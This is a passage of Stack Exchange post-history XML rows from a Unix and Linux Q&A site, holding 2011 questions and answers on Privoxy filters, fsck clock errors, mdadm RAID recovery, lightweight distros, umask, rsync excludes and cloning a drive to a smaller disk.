  <row Id="22255" PostHistoryTypeId="5" PostId="9340" RevisionGUID="7b27d7a2-8042-44b2-b302-25108e20ead0" CreationDate="2011-03-16T10:54:10.203" UserId="5766" Comment="added 1 characters in body" Text="I don't know Privoxy but judging form the replacement statements above this one *could* work:&#xD;&#xA;&#xD;&#xA;    s/^.*&lt;a href=&quot;/forum/100&quot;&gt;Offtopic&lt;/a&gt;&lt;/td&gt;.*$//" />
  <row Id="22256" PostHistoryTypeId="2" PostId="9344" RevisionGUID="c2bb6820-dc44-45fb-89f6-20e43d88958c" CreationDate="2011-03-16T11:05:53.660" UserId="250" Text="Nothing. Just make sure that you have a live CD around. After you install Windows and by the way let it overwrite the MBR, just boot into the live CD and restore Grub.&#xD;&#xA;&#xD;&#xA;Regarding restoring Grub, it has been [asked before][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/search?q=restore+grub" />
  <row Id="22257" PostHistoryTypeId="5" PostId="9339" RevisionGUID="01ed3c5e-7a79-487e-8c74-059dbc61451e" CreationDate="2011-03-16T11:11:16.463" UserId="5664" Comment="added 126 characters in body; added 11 characters in body; added 139 characters in body" Text="I know how to swap something with something with privoxy, e.g: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	s/class=&quot;node ad&quot;/class=&quot;node ad&quot; style=&quot;display:none&quot;/g&#xD;&#xA;&#xD;&#xA;But: how can i delete a line with privoxy? E.g.: If a line contains: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	RANDOM STRING BEFORE&lt;a href=&quot;/forum/100&quot;&gt;Offtopic&lt;/a&gt;&lt;/td&gt;RANDOM STRING AFTER&#xD;&#xA;&#xD;&#xA;then what should i write in the user.action file to delete the line?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;update:&lt;br&gt;&#xD;&#xA;so i'm searching for this kind of &quot;sed&quot; effect in Privoxy: &#xD;&#xA;&#xD;&#xA;	echo -e &quot;asdf\nsomething2\nadf&quot; | sed '/thing2/d;'&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;if i use &quot;/Offtopic/d&quot; in the user.filter file it doesn't works.&lt;br&gt; (and yes, i have other rules in user.filter perfectly working)&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="22258" PostHistoryTypeId="5" PostId="8409" RevisionGUID="b9b27cee-61a3-4c03-b91b-ca815e301dd2" CreationDate="2011-03-16T11:12:35.447" UserId="2134" Comment="Update" Text="I'm working with a system where we want to allow users to play around with the date and time if they want, and where reboots may happen arbitrarily. This is fine, except for one thing: if there's a large time jump backwards, the following error appears on reboot:&#xD;&#xA;&#xD;&#xA;    Checking filesystems&#xD;&#xA;    IMAGE2: Superblock last mount time (Tue Mar  1 17:32:48 2011,&#xD;&#xA;            now = Thu Feb 24 17:34:29 2011) is in the future.&#xD;&#xA;&#xD;&#xA;    IMAGE2: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.&#xD;&#xA;            (i.e., without -a or -p options)&#xD;&#xA;&#xD;&#xA;    *** An error occurred during the file system check.&#xD;&#xA;    *** Dropping you to a shell; the system will reboot&#xD;&#xA;    *** when you leave the shell.&#xD;&#xA;&#xD;&#xA;…and then the boot hangs waiting for user console input, and even once console access is gained, requires a root password to continue.&#xD;&#xA;&#xD;&#xA;This is decidedly less than ideal. Is there any way to either skip the check or force the check to happen automatically on reboot?&#xD;&#xA;&#xD;&#xA;Google has only provided help that requires running fsck manually if/when this is hit, which is not what I'm after. Running fsck manually after setting the time doesn't work as the filesystem is still mounted at that point, and just disabling fsck entirely is less than ideal.&#xD;&#xA;&#xD;&#xA;I'm using RedHat 6.&#xD;&#xA;&#xD;&#xA;**Update**: The solution I'm currently going with is to hack fstab to disable fsck checking on reboot. I'd tried editing the last mount time on the disks using `debugfs`, which works fine for ext3 drives, but appears to fail inconsistently on ext4." />
  <row Id="22259" PostHistoryTypeId="2" PostId="9345" RevisionGUID="a97916fc-b737-4a12-8963-227e60bab2a4" CreationDate="2011-03-16T11:19:15.673" UserId="5767" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm interested in the way Linux mmaps files into the main memory (in my context its for executing, but I guess the mmap process is the same for writing and reading as well) and which size it uses.&#xD;&#xA;&#xD;&#xA;So I know Linux uses paging with usually 4kB pagesize (where in the kernel can I find this size?). But what exactly does this mean for the memory allocated: Assume you have a binary of size of a few thousned bytes, lets just say 5812B and you execute it.&#xD;&#xA;What happens in the kernel: Does it allocate 2*4kB and then copy the 5812B into this space, wasting &gt;3KB of main memory in the 2nd page?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Probably a very simple question, I just want to make sure I got it right.&#xD;&#xA;+ It would be great if anyone knew the file in the kernel source where the pagesize is defined." />
  <row Id="22260" PostHistoryTypeId="1" PostId="9345" RevisionGUID="a97916fc-b737-4a12-8963-227e60bab2a4" CreationDate="2011-03-16T11:19:15.673" UserId="5767" Text="Memory size for kernel mmap operation" />
  <row Id="22261" PostHistoryTypeId="3" PostId="9345" RevisionGUID="a97916fc-b737-4a12-8963-227e60bab2a4" CreationDate="2011-03-16T11:19:15.673" UserId="5767" Text="ékernelàémemoryàémmapà" />
  <row Id="22262" PostHistoryTypeId="25" PostId="9339" RevisionGUID="42e6e827-ce5e-41b1-944c-a09985e6f05b" CreationDate="2011-03-16T11:31:20.093" Comment="http://twitter.com/#!/StackUnix/status/47983279911092224" />
  <row Id="22263" PostHistoryTypeId="5" PostId="9304" RevisionGUID="7b3fa614-5867-42e0-b0f3-b0edd05ece90" CreationDate="2011-03-16T11:47:44.290" UserId="5666" Comment="some clarification added" Text="First check the disks, try running smart selftest&#xD;&#xA;&#xD;&#xA;    for i in a b c d; do&#xD;&#xA;        smartctl -s on -t long /dev/sd$i&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It might take a few hours to finish, but check each drive's test status every few minutes, i.e.&#xD;&#xA;&#xD;&#xA;    smartctl -l selftest /dev/sda&#xD;&#xA;&#xD;&#xA;If the status of a disk reports not completed because of read errors, then this disk should be consider unsafe for md1 reassembly. After the selftest finish, you can start trying to reassembly your array. Optionally, if you want to be extra cautious, move the disks to another machine before continuing (just in case of bad ram/controller/etc).&#xD;&#xA;&#xD;&#xA;Recently, I had a case exactly like this one. One drive got failed, I re-added in the array but during rebuild 3 of 4 drives failed altogether. The contents of /proc/mdadm was the same as yours (maybe not in the same order)&#xD;&#xA;&#xD;&#xA;    md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;&#xD;&#xA;But I was lucky and reassembled the array with this &#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 --scan --force&#xD;&#xA;&#xD;&#xA;By looking at the --examine output you provided, I can tell the following scenario happened: sdd2 failed, you removed it and re-added it, So it became a spare drive trying to rebuild. But while rebuilding sda2 failed and then sdb2 failed. So the events counter is bigger in sdc2 and sdd2 which are the last active drives in the array (although sdd didn't have the chance to rebuild and so it is the most outdated of all). Because of the differences in the event counters, --force will be necessary. So you could also try this&#xD;&#xA;&#xD;&#xA;    mdadm --assemble /dev/md1 /dev/sd[abc]2 --force&#xD;&#xA;&#xD;&#xA;To conclude, I think that if the above command fails, you should try to recreate the array like this:&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md1 --assume-clean -l5 -n4 -c64 /dev/sd[abc]2 missing&#xD;&#xA;&#xD;&#xA;**If you do the `--create`, the `missing` part is important, don't try to add a fourth drive in the array, because then construction will begin and you will lose your data**. Creating the array with a missing drive, will not change its contents and you'll have the chance to get a copy **elsewhere** (raid5 doesn't work the same way as raid1). &#xD;&#xA;&#xD;&#xA;If that fails to bring the array up, try this solution (perl script) here [Recreating an array](https://raid.wiki.kernel.org/index.php/RAID_Recovery#Recreating_an_array)&#xD;&#xA;&#xD;&#xA;If you finally manage to bring the array up, the filesystem will be unclean and probably corrupted. If one disk fails during rebuild, it is expected that the array will stop and freeze not doing any writes to the other disks. In this case two disks failed, __maybe__ the system was performing write requests that wasn't able to complete, so there is some small chance you lost some data, but also a chance that you will never notice it :-)&#xD;&#xA;&#xD;&#xA;edit: some clarification added." />
  <row Id="22264" PostHistoryTypeId="2" PostId="9346" RevisionGUID="09f984b1-c5c4-4493-bd01-c49f06763678" CreationDate="2011-03-16T11:52:02.713" UserId="4949" Text="That's because Stable, being stable, gets updated only extremely rarely.&#xD;&#xA;&#xD;&#xA;Security updates for the Stable distribution are updated via &#xD;&#xA;&#xD;&#xA;`deb http://security.debian.org/ stable/updates main contrib non-free`&#xD;&#xA;&#xD;&#xA;and for more volatile packages you should also add &#xD;&#xA;&#xD;&#xA;`deb http://cdn.debian.net/debian/ squeeze-updates main contrib non-free`&#xD;&#xA;&#xD;&#xA;to your `/etc/apt/sources.list`  file.&#xD;&#xA;&#xD;&#xA;Useful relevant information from Debian can be found at http://wiki.debian.org/StableUpdates&#xD;&#xA;" />
  <row Id="22265" PostHistoryTypeId="2" PostId="9347" RevisionGUID="c13f825d-7966-4290-b033-ce0cb60115b9" CreationDate="2011-03-16T11:56:36.220" UserId="5771" Text="    tail -f /var/log/logname | source-highlight -f esc -s log" />
  <row Id="22266" PostHistoryTypeId="2" PostId="9348" RevisionGUID="345751a0-438a-47ed-96e2-5aaf497254fb" CreationDate="2011-03-16T12:05:56.040" UserId="5769" Text="I have a Windows 98 computer that we still use (the hardware works just fine, but Windows is becoming a bit flaky and I'd rather go problem hunting and solving with Linux rather than Win98).&#xD;&#xA;&#xD;&#xA;I'm looking for a _very_ lightweight distribution (with a GUI, not command line) that is able to run the following:&#xD;&#xA;&#xD;&#xA; - An email client which supports POP3 &#xD;&#xA; - A &quot;more up to date&quot; web browser (the banking website refuses to show up in the old Internet Explorer version it's running)&#xD;&#xA; - An app able to open and modify Word and Excel documents&#xD;&#xA; - FTP, DropBox, or some way to share and sync files with another computer&#xD;&#xA;&#xD;&#xA;That is ALL the software that's needed (though, having Skype support would be helpful, but not required)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It uses a Pentium II Processor, which means it's CPU is between 233 MHz and 450 MHz (I can't seem to find the exact number from within Windows), and 256 MB RAM." />
  <row Id="22267" PostHistoryTypeId="1" PostId="9348" RevisionGUID="345751a0-438a-47ed-96e2-5aaf497254fb" CreationDate="2011-03-16T12:05:56.040" UserId="5769" Text="Looking for a distro with GUI fit for Windows 98 PCs" />
  <row Id="22268" PostHistoryTypeId="3" PostId="9348" RevisionGUID="345751a0-438a-47ed-96e2-5aaf497254fb" CreationDate="2011-03-16T12:05:56.040" UserId="5769" Text="édistrosàédistributionöchoiceàésmallödistributionàélightweightà" />
  <row Id="22269" PostHistoryTypeId="5" PostId="9345" RevisionGUID="5fd46ecf-f51a-4088-8925-1a76b11892db" CreationDate="2011-03-16T12:06:50.027" UserId="5767" Comment="added 137 characters in body; edited tags" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm interested in the way Linux mmaps files into the main memory (in my context its for executing, but I guess the mmap process is the same for writing and reading as well) and which size it uses.&#xD;&#xA;&#xD;&#xA;So I know Linux uses paging with usually 4kB pagesize (where in the kernel can I find this size?). But what exactly does this mean for the memory allocated: Assume you have a binary of size of a few thousned bytes, lets just say 5812B and you execute it.&#xD;&#xA;What happens in the kernel: Does it allocate 2*4kB and then copy the 5812B into this space, wasting &gt;3KB of main memory in the 2nd page?&#xD;&#xA;&#xD;&#xA;Probably a very simple question, I just want to make sure I got it right.&#xD;&#xA;+ It would be great if anyone knew the file in the kernel source where the pagesize is defined.&#xD;&#xA;&#xD;&#xA;My 2nd question is also very simple I guess: I assumed 5812B as a filesize. Is it right, that this size is simply taken from the inode?" />
  <row Id="22270" PostHistoryTypeId="6" PostId="9345" RevisionGUID="5fd46ecf-f51a-4088-8925-1a76b11892db" CreationDate="2011-03-16T12:06:50.027" UserId="5767" Comment="added 137 characters in body; edited tags" Text="ékernelàémemoryàéinodeàémmapà" />
  <row Id="22271" PostHistoryTypeId="2" PostId="9349" RevisionGUID="c46a7061-950a-4de3-b7da-7d80339b39a6" CreationDate="2011-03-16T12:07:59.377" UserId="3686" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm new to CentOS (though quite used to Debian/Ubuntu), so maybe this is a FAQ. Excuse me if that's the case.&#xD;&#xA;&#xD;&#xA;I've realized that the permissions for new files and directories behave a bit strangely. First of all, umask seems to return the right answer:&#xD;&#xA;&#xD;&#xA;    $ umask&#xD;&#xA;    0002&#xD;&#xA;&#xD;&#xA;This means full access for my user and my group, no write access for the rest of the world, no suid. But if I create a file in my $HOME, this is how it looks:&#xD;&#xA;&#xD;&#xA;    $ ls -l testfile &#xD;&#xA;    -rw-rw-rw- 1 robe robe 0 mar 16 12:58 testfile&#xD;&#xA;&#xD;&#xA;I.e., giving write access to everyone. The same happens with directories:&#xD;&#xA;&#xD;&#xA;    $ ls -ld testdir&#xD;&#xA;    drwxrwxrwx 2 robe robe 6 mar 16 13:00 testdir&#xD;&#xA;&#xD;&#xA;I think this is the same as having umask 0000, not 0002. I've searched all /etc for some instance of umask that changes the default 0002 or 0022, but found none. This is a default CentOS 5.5 install. Any hint of why is this happening?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;" />
  <row Id="22272" PostHistoryTypeId="1" PostId="9349" RevisionGUID="c46a7061-950a-4de3-b7da-7d80339b39a6" CreationDate="2011-03-16T12:07:59.377" UserId="3686" Text="Default umask in CentOS" />
  <row Id="22273" PostHistoryTypeId="3" PostId="9349" RevisionGUID="c46a7061-950a-4de3-b7da-7d80339b39a6" CreationDate="2011-03-16T12:07:59.377" UserId="3686" Text="écentosàéumaskà" />
  <row Id="22274" PostHistoryTypeId="2" PostId="9350" RevisionGUID="663e0540-20c1-4fae-a60a-6a15976a3227" CreationDate="2011-03-16T12:18:05.287" UserId="2932" Text="I don't think so but maybe you could possibly run a Hackintosh inside a VM." />
  <row Id="22275" PostHistoryTypeId="2" PostId="9351" RevisionGUID="47520560-d2cd-4e2a-b8f2-3fa3d199e5ab" CreationDate="2011-03-16T12:26:26.990" UserId="3447" Text="There are several light weight window managers.  Openbox, XFCE, and LXDE are the primary ones.  Then there are some others like Enlightenment, IceWM, and Awesome.&#xD;&#xA;&#xD;&#xA;In my opinion, Openbox is the lightest of all of those.  A lot of [Arch Linux](http://www.archlinux.org/) users use Openbox, but it doesn't have a GUI by default; you have to install it through the package manager.  It's pretty simple however.  If you'd rather have a GUI by default, [Crunchbang](http://crunchbanglinux.org/) uses Openbox by default, and it's based on Debian.&#xD;&#xA;&#xD;&#xA;If you don't mind installing the window manager yourself in Arch, it does have the advantage of letting you choose which window manager to use.  So if you don't like Openbox, you can use something else." />
  <row Id="22276" PostHistoryTypeId="2" PostId="9352" RevisionGUID="4829f0ea-b82a-4e8a-9f7b-a200b397e054" CreationDate="2011-03-16T12:27:49.873" UserId="5774" Text="maybe puppy linux? Here the specs:&#xD;&#xA;&#xD;&#xA;Puppy has been tested on a very old machines but the best results for the standard release of Puppy Linux to run at a reasonable pace have been achieved with the following:&#xD;&#xA;&#xD;&#xA;    CPU : Pentium 166MMX&#xD;&#xA;    RAM : 128 MB physical RAM for releases since version 1.0.2 or failing that a Linux swap file and/or swap partition is required for all included applications to run; 64 MB for releases previous to 1.0.2&#xD;&#xA;    Hard Drive : Optional&#xD;&#xA;    CDROM : 20x and up&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22277" PostHistoryTypeId="5" PostId="9346" RevisionGUID="45562bd3-3947-46b3-9941-a49f4528e7d8" CreationDate="2011-03-16T12:33:50.710" UserId="4949" Comment="Clarified the answer to the original question." Text="That's because Stable, being stable, gets updated only extremely rarely -- roughly once every two months in the case of the previous release, and even then it's more &quot;move security updates into the main tree and rebuild the images&quot; than adding anything new. Adding new stuff is what testing and unstable are for.&#xD;&#xA;&#xD;&#xA;Security updates for the Stable distribution are updated via &#xD;&#xA;&#xD;&#xA;`deb http://security.debian.org/ stable/updates main contrib non-free`&#xD;&#xA;&#xD;&#xA;and for more volatile packages you should also add &#xD;&#xA;&#xD;&#xA;`deb http://cdn.debian.net/debian/ squeeze-updates main contrib non-free`&#xD;&#xA;&#xD;&#xA;to your `/etc/apt/sources.list`  file.&#xD;&#xA;&#xD;&#xA;Useful relevant information from Debian can be found at http://wiki.debian.org/StableUpdates&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22278" PostHistoryTypeId="2" PostId="9353" RevisionGUID="8a149668-225e-42d4-87a1-235269b4f216" CreationDate="2011-03-16T12:54:18.760" UserId="3447" Text="Just symlink that directory to `/dev/null`&#xD;&#xA;&#xD;&#xA;    rm -rf ~/.logs&#xD;&#xA;    ln -s /dev/null ~/.logs&#xD;&#xA;&#xD;&#xA;`/dev/null`, doesn't have to be a directory.  If the program tries writing to `~/.logs/log1.dump`, it still goes right into `/dev/null`.  &#xD;&#xA;I do this for Google Chrome's cache because after a while it gets so big that Chrome will take minutes to start." />
  <row Id="22279" PostHistoryTypeId="2" PostId="9354" RevisionGUID="b985b2c0-3240-417a-b2c9-48c0a546922a" CreationDate="2011-03-16T13:00:03.830" UserId="2511" Text="I was going to suggest hacking `e2fsck` to disable the specific checks for a last mount time or last write times in the future. These are defined in [problem.c][1] / [problem.h][2], and used in [super.c][3]. But in looking, I discovered that E2fsprogs 1.41.10 adds a new option to `/etc/e2fsck.conf` called **broken_system_clock**. This seems to be exactly what you need, and since you're using Red Hat Enterprise Linux 6, you should have 1.41.12, which includes this option. From the man page: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;       broken_system_clock&#xD;&#xA;              The e2fsck(8) program has some hueristics that assume  that  the&#xD;&#xA;              system clock is correct.  In addition, many system programs make&#xD;&#xA;              similar assumptions.  For example, the UUID library  depends  on&#xD;&#xA;              time  not going backwards in order for it to be able to make its&#xD;&#xA;              guarantees about issuing universally unique ID’s.  Systems  with&#xD;&#xA;              broken  system clocks, are well, broken.  However, broken system&#xD;&#xA;              clocks, particularly in embedded systems, do exist.  E2fsck will&#xD;&#xA;              attempt  to  use  hueristics to determine if the time can no tbe&#xD;&#xA;              trusted; and to skip time-based checks if this is true.  If this&#xD;&#xA;              boolean  is set to true, then e2fsck will always assume that the&#xD;&#xA;              system clock can not be trusted.&#xD;&#xA;&#xD;&#xA;Yes, the man page can't spell &quot;heuristics&quot;. Oops. But presumably the code works anyway. :)&#xD;&#xA;&#xD;&#xA;  [1]: http://git.kernel.org/?p=fs/ext2/e2fsprogs.git;a=blob_plain;f=e2fsck/problem.c;hb=HEAD&#xD;&#xA;  [2]: http://git.kernel.org/?p=fs/ext2/e2fsprogs.git;a=blob_plain;f=e2fsck/problem.h;hb=HEAD&#xD;&#xA;  [3]: http://git.kernel.org/?p=fs/ext2/e2fsprogs.git;a=blob_plain;f=e2fsck/super.c;hb=HEAD&#xD;&#xA;" />
  <row Id="22280" PostHistoryTypeId="4" PostId="8409" RevisionGUID="02880527-f2bd-4e3b-9398-88b352dc7ef6" CreationDate="2011-03-16T13:01:11.490" UserId="2511" Comment="edited title" Text="How can I avoid &quot;Run fsck manually&quot; messages while allowing experimenting with system time changes?" />
  <row Id="22282" PostHistoryTypeId="17" PostId="9357" RevisionGUID="e6cb1889-78f3-4f3b-b70d-e5399d47de69" CreationDate="2011-03-16T13:15:23.103" UserId="-1" Comment="from http://stackoverflow.com/questions/5324218/linux-print-lines-from-file-backwards/5324302#5324302" Text="" />
  <row Id="22283" PostHistoryTypeId="17" PostId="9358" RevisionGUID="14f6fb0c-81c9-42b7-bf67-6b7bf069eb10" CreationDate="2011-03-16T13:15:23.103" UserId="-1" Comment="from http://stackoverflow.com/questions/5324218/linux-print-lines-from-file-backwards/5324323#5324323" Text="" />
  <row Id="22284" PostHistoryTypeId="2" PostId="9357" RevisionGUID="7a2d1386-9f5d-4aa4-848c-1a165624b9f0" CreationDate="2011-03-16T10:57:41.450" UserDisplayName="paxdiablo" Text="You can pipe it through:&#xD;&#xA;&#xD;&#xA;    awk '{print NR&quot; &quot;$0}' | sort -k1 -n -r | sed 's/^[^ ]* //g'&#xD;&#xA;&#xD;&#xA;The `awk` prefixes each line with the line number followed by a space. The `sort` reverses the order of the lines by sorting on the first field (line number) in reverse order, numeric style. And the `sed` strips off the line numbers.&#xD;&#xA;&#xD;&#xA;The following example shows this in action:&#xD;&#xA;&#xD;&#xA;    pax$ echo 'a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;    d&#xD;&#xA;    e&#xD;&#xA;    f&#xD;&#xA;    g&#xD;&#xA;    h&#xD;&#xA;    i&#xD;&#xA;    j&#xD;&#xA;    k&#xD;&#xA;    l' | awk '{print NR&quot; &quot;$0}' | sort -k1 -n -r | sed 's/^[^ ]* //g'&#xD;&#xA;&#xD;&#xA;It outputs:&#xD;&#xA;&#xD;&#xA;    l&#xD;&#xA;    k&#xD;&#xA;    j&#xD;&#xA;    i&#xD;&#xA;    h&#xD;&#xA;    g&#xD;&#xA;    f&#xD;&#xA;    e&#xD;&#xA;    d&#xD;&#xA;    c&#xD;&#xA;    b&#xD;&#xA;    a&#xD;&#xA;" />
  <row Id="22285" PostHistoryTypeId="2" PostId="9358" RevisionGUID="5cc7f6e5-0397-4df6-9ca3-3f380678fce7" CreationDate="2011-03-16T10:59:32.527" UserId="2818" Text="Using `sed` to emulate `tac`:&#xD;&#xA;&#xD;&#xA;    sed '1!G;h;$!d' ${inputfile}" />
  <row Id="22286" PostHistoryTypeId="2" PostId="9356" RevisionGUID="08bd80d0-6bb0-4ec0-b86b-9fa6e66ad4c2" CreationDate="2011-03-16T10:51:11.787" UserDisplayName="Ionut Ungureanu" Text="Hello! &#xD;&#xA;I have a simple question (I think). I want to print lines from a file backwards without using &quot;tac&quot; command. Is there any other solution to do such thing with bash?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="22287" PostHistoryTypeId="1" PostId="9356" RevisionGUID="08bd80d0-6bb0-4ec0-b86b-9fa6e66ad4c2" CreationDate="2011-03-16T10:51:11.787" UserDisplayName="Ionut Ungureanu" Text="LINUX Print lines from file backwards" />
  <row Id="22288" PostHistoryTypeId="3" PostId="9356" RevisionGUID="08bd80d0-6bb0-4ec0-b86b-9fa6e66ad4c2" CreationDate="2011-03-16T10:51:11.787" UserDisplayName="Ionut Ungureanu" Text="éfileàéprintingà" />
  <row Id="22289" PostHistoryTypeId="17" PostId="9356" RevisionGUID="0a444c0c-4b06-4943-976c-81b37efd1fd5" CreationDate="2011-03-16T13:15:23.103" UserId="-1" Comment="from http://stackoverflow.com/questions/5324218/linux-print-lines-from-file-backwards" Text="" />
  <row Id="22290" PostHistoryTypeId="2" PostId="9359" RevisionGUID="1d7cf089-fadc-4785-ab18-7fcc0b32f4cd" CreationDate="2011-03-16T13:24:38.577" UserId="4814" Text="Hello,&#xD;&#xA;&#xD;&#xA;I would like to copy/clone/move my CentOS (which is on a 20GB hard drive) to a smaller hard drive (5GB)...&#xD;&#xA;&#xD;&#xA;Can someone tell me how to do this?" />
  <row Id="22291" PostHistoryTypeId="1" PostId="9359" RevisionGUID="1d7cf089-fadc-4785-ab18-7fcc0b32f4cd" CreationDate="2011-03-16T13:24:38.577" UserId="4814" Text="Clone OS to a smaller drive" />
  <row Id="22292" PostHistoryTypeId="3" PostId="9359" RevisionGUID="1d7cf089-fadc-4785-ab18-7fcc0b32f4cd" CreationDate="2011-03-16T13:24:38.577" UserId="4814" Text="écentosàécloningàérestoreà" />
  <row Id="22293" PostHistoryTypeId="4" PostId="9356" RevisionGUID="9ee375c4-aeef-42d5-b40b-4a2ce6d6b02e" CreationDate="2011-03-16T13:27:45.450" UserId="2511" Comment="edited tags; edited title" Text="How can I print lines from file backwards (without using &quot;tac&quot;)?" />
  <row Id="22294" PostHistoryTypeId="6" PostId="9356" RevisionGUID="9ee375c4-aeef-42d5-b40b-4a2ce6d6b02e" CreationDate="2011-03-16T13:27:45.450" UserId="2511" Comment="edited tags; edited title" Text="éshellàéfileà" />
  <row Id="22295" PostHistoryTypeId="4" PostId="9332" RevisionGUID="421c9058-eb12-4ead-936f-0d812f43f9a3" CreationDate="2011-03-16T13:30:26.897" UserId="2511" Comment="edited title" Text="How can I created a /dev/null-like &quot;blackhole&quot; directory?" />
  <row Id="22296" PostHistoryTypeId="4" PostId="9332" RevisionGUID="74fec021-7208-44ef-a762-83b83b9d3fca" CreationDate="2011-03-16T13:32:46.120" UserId="872" Comment="edited title" Text="How can I create a /dev/null-like &quot;blackhole&quot; directory?" />
  <row Id="22297" PostHistoryTypeId="2" PostId="9360" RevisionGUID="ecb35394-2e08-43da-99e9-37e7adf2072e" CreationDate="2011-03-16T13:38:46.497" UserId="3645" Text="Is there a command which can be used to easily highlight (with colors, bold text or inverted back-/foreground) specific strings in stdin while passing the entire string to stdout? I'm thinking of [building it][1], but I'd rather just use it if it already exists. Some desirable features:&#xD;&#xA;&#xD;&#xA;1. Separate highlight strings are highlighted differently, in an automatic way. For example, the first string will be highlighted in red, the second in green, the third in blue *without manual configuration*.&#xD;&#xA;1. Detects color support and falls back to bold/inverted/other highlighting methods where those are available.&#xD;&#xA;1. Allow for matching of regular expressions and literal strings.&#xD;&#xA;1. Preferably does something smart if the matches overlap, such as &quot;foobar&quot; and &quot;barbar&quot;.&#xD;&#xA;1. Nothing is modified between stdin and stdout except for the addition of color codes.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/l0b0/tilde/issues#issue/1" />
  <row Id="22298" PostHistoryTypeId="1" PostId="9360" RevisionGUID="ecb35394-2e08-43da-99e9-37e7adf2072e" CreationDate="2011-03-16T13:38:46.497" UserId="3645" Text="`highlight` command" />
  <row Id="22299" PostHistoryTypeId="3" PostId="9360" RevisionGUID="ecb35394-2e08-43da-99e9-37e7adf2072e" CreationDate="2011-03-16T13:38:46.497" UserId="3645" Text="éshellàéhighlightingà" />
  <row Id="22300" PostHistoryTypeId="2" PostId="9361" RevisionGUID="42308631-cd30-49e2-b9e4-cca4093176c6" CreationDate="2011-03-16T13:39:53.343" UserId="1594" Text="I found this link on how to [open tgz in one step][1].&#xD;&#xA;&#xD;&#xA;    gzip -dc target.tar.gz | tar xf -&#xD;&#xA;&#xD;&#xA;What does the '-' mean?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tech-recipes.com/rx/65/decompress-and-extract-a-tgz-or-targz-archive-in-a-single-step/" />
  <row Id="22301" PostHistoryTypeId="1" PostId="9361" RevisionGUID="42308631-cd30-49e2-b9e4-cca4093176c6" CreationDate="2011-03-16T13:39:53.343" UserId="1594" Text="What does - mean?" />
  <row Id="22302" PostHistoryTypeId="3" PostId="9361" RevisionGUID="42308631-cd30-49e2-b9e4-cca4093176c6" CreationDate="2011-03-16T13:39:53.343" UserId="1594" Text="étarà" />
  <row Id="22303" PostHistoryTypeId="2" PostId="9362" RevisionGUID="83118707-1bbe-468c-b609-a3f13c9f722b" CreationDate="2011-03-16T13:44:23.550" UserId="5116" Text="When I do something like&#xD;&#xA;&#xD;&#xA;    rsync -a --exclude=/e/garbage /e /dest&#xD;&#xA;&#xD;&#xA;the exclusion works, but with&#xD;&#xA;&#xD;&#xA;    rsync -a --exclude=/e/garbage /e/ /dest/e&#xD;&#xA;&#xD;&#xA;it doesn't. I'm using version 3.0.7 protocol version 30 under cygwin, in case it matters.&#xD;&#xA;" />
  <row Id="22304" PostHistoryTypeId="1" PostId="9362" RevisionGUID="83118707-1bbe-468c-b609-a3f13c9f722b" CreationDate="2011-03-16T13:44:23.550" UserId="5116" Text="Exclude pattern for rsync" />
  <row Id="22305" PostHistoryTypeId="3" PostId="9362" RevisionGUID="83118707-1bbe-468c-b609-a3f13c9f722b" CreationDate="2011-03-16T13:44:23.550" UserId="5116" Text="érsyncà" />
  <row Id="22306" PostHistoryTypeId="2" PostId="9363" RevisionGUID="876ffaf6-60f6-4c94-a692-0e8a6fbed981" CreationDate="2011-03-16T13:48:29.617" UserId="73" Text="It's a common convention to use `-` in a filename argument to mean `stdin` or `stdout`; `tar` follows the same convention. From the man page:&#xD;&#xA;&#xD;&#xA;       -f, --file [HOSTNAME:]F&#xD;&#xA;              use archive file or device F (default &quot;-&quot;, meaning stdin/stdout)" />
  <row Id="22307" PostHistoryTypeId="2" PostId="9364" RevisionGUID="ed1eb90a-3b36-4a10-891c-674b79408b1e" CreationDate="2011-03-16T13:49:47.820" UserId="250" Text="You should be able to tar up everything and extract it to the new drive. First plug in the second drive, then boot into something that doesn't use the source drive, such as a live CD. After that just copy everything over. For example:&#xD;&#xA;&#xD;&#xA;    # Mount the source drive&#xD;&#xA;    mkdir /mnt/source&#xD;&#xA;    mount /dev/sda1 /mnt/source&#xD;&#xA;    # Mount the destination drive&#xD;&#xA;    mkdir /mnt/destination&#xD;&#xA;    mount /dev/sdb1 /mnt/destination&#xD;&#xA;    # Copy everything&#xD;&#xA;    cp -rp /mnt/source /mnt/destination&#xD;&#xA;&#xD;&#xA;Don't reboot just yet, you have to install Grub on the destination drive, something like:&#xD;&#xA;&#xD;&#xA;    grub-setup -d /mnt/destination /dev/sdb&#xD;&#xA;&#xD;&#xA;You can also use an intermediate drive if you can't connect the second drive to the same computer, but the steps are similar. Finally remember, don't use those commands as is, always check and double check that they apply to your system.&#xD;&#xA;&#xD;&#xA;(In case someone has a slightly different requirement that doesn't include a [smaller destination][1] drive, Clonezilla is definitely a better choice.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://clonezilla.org/#limitations" />
